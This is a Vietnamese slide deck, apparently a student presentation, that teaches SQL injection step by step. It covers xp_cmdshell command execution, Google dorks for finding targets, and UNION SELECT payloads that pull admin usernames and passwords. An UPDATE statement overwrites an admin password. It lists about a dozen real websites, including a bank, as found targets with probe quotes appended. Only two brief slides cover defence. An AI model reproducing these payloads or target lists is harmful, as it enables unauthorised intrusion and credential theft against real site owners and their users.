  • 16. Dạng tấn công sử dụng storedprocedures    Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell 'cmd.exe dir C: '. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C: cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
  • 17. Kỹ Thuật tấn công bằng sql injection       Bước 1: Tìm kiếm mục tiêu. Bước 2: Kiểm tra chỗ yếu của trang web Bước 3: Nhận data qua ‘database using ODBC error message’ Bước 4: Xác định tên của các column trong table Bước 5: Thu thập các dữ liệu quan trọng. Bước 6: Xử lý kết quả tìm được
  • 18. Tìm kiếm mục tiêu   Bạn có thể dùng các bất kỳ một search-engine nào trên mạng như các trang login, search, feedback… Bạn có thể “custome Search Engine” lại cho phù hợp với yêu cầu của bạn
  • 19.   Thực hiện câu lệnh search: inurl:php?id= site:com.vn
  • 20. Đây là kết quả thu được.
  • 21. Kết Quả Tìm Được Của Nhóm             http://www.vsmc.com.vn/news_detail.php?id=19' http://www.toeic.com.vn/info/details.php?id=383' http://www.phanhoadigi.com.vn/list_product.php? ID=1173&namecate=EOS' http://forum.key.com.vn/viewtopic.php?id=362 http://www.biconsi.com.vn/index.php?id=36' http://www.vietphone.com.vn/download.php?mode=download&id=19' http://thammyvienthanhbinh.com.vn/detail.php?id=19' http://www.voip.com.vn/download.php?mode=download&id=28' http://bidv.com.vn/advert.asp?id=36' http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27 http://www.galilcol.ac.il/page.asp?id=17‘ Ghi chú: không phải trang nào cũng tấn công được
  • 22. Kiểm tra chỗ yếu của trang web   Bạn có thể điền thêm một số lệnh trên url, hoặc trên các from login, search, hoặc search để phát hiện lỗi. Sau đây là một số cách thêm và phát hiện lỗi của nhóm mình:
  • 23.
  • 24.
  • 25.
  • 26. Nhận data qua ‘database using ODBC error message’   Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ thuật lẫn sự am hiểu về cơ sở dữ liệu. Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau: http://vitcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SHEMA.COLUMNS WHERE TABLE_NAME=‘admin_login’--
  • 27. Out put:   Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5
  • 28. Thu thập các dữ liệu quan trọng    Chúng ta phải xác định được các tên của các table và column quan trọng. Chúng ta có thể lấy login_name đầu tiên trong table “admin_login” như sau: http://vitcon/index.asp?id=10 UNION SELECT TOP 1 login_name From admin_login—
  • 29.     Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là ‘aaa’. Sau đó dung tên user tìm được để tìm password: http://vitcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login _name=‘aaa’— Bây giờ bạn sẽ nhận được password của ‘aaa’ là ‘bbb’.
  • 30. Xử lý kết quả tìm được     Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này. Để thay đổi password của ‘aaa’ bạn có thể làm như sau: http://vitcon/index.asp?id=10 ;UPDATE ‘admin_login’ SET ‘password’ =‘ccc’ WHERE login_name=‘aaa’– Hoặc bạn login trực tiếp vào và thực hiện dưới quyền user đó.
  • 31. Cách phòng tránh   Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít.
  • 32.   Loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.
  • 33. DEMO